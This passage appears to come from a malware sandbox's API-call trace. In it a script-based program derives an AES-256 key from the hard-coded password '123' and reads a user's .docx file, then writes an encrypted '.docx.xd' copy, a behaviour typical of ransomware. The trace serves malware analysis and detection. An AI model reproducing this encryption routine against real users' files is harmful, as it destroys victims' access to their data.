lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.833] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.833] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.833] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0069.834] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.834] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0069.834] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.834] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.834] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0069.834] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.835] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.835] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.835] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.835] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.835] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0069.835] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0069.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0069.835] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0069.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0069.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0069.836] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0069.836] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa230) returned 1 [0069.836] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.836] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.836] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0069.836] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.836] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.836] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.837] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.837] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.837] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.837] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0069.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.837] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.837] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.837] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.837] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.837] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.837] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.837] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.837] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.838] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.838] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.838] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.838] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.838] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.838] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.838] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.838] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.838] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0069.838] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0069.838] CryptCreateHash (in: hProv=0x17aa230, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0069.838] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0069.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0069.839] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0069.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0069.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0069.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.839] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.839] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.839] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0069.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621870, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0069.840] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0069.840] CryptHashData (hHash=0x164c7b0, pbData=0x1629410, dwDataLen=0x3, dwFlags=0x1) returned 1 [0069.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.840] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.840] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.840] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.840] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.840] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0069.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0069.840] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0069.841] CryptDeriveKey (in: hProv=0x17aa230, Algid=0x6610, hBaseData=0x164c7b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6b0) returned 1 [0069.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.841] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.841] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0069.841] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0069.841] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0069.841] CryptDestroyHash (hHash=0x164c7b0) returned 1 [0069.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.841] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.842] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.842] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.842] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.842] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\dcbrwi.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0069.842] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.842] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0069.842] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.842] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.842] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.843] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0069.846] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\dcbrwi.docx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0069.899] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.899] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.899] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.899] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.901] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0069.901] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0069.904] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x6348, lpOverlapped=0x0) returned 1 [0069.906] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0069.911] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.911] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.911] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.911] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0069.912] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.912] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.912] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0069.912] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.912] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0069.912] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.912] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.912] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.912] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0069.912] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0069.913] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0069.913] CryptGetKeyParam (in: hKey=0x164c6b0, dwParam=0x7, pbData=0x1629400, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629400*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0069.913] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.913] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.913] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.913] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.913] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.913] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.913] PeekMessageW (in: lpMsg=0x130ec34, 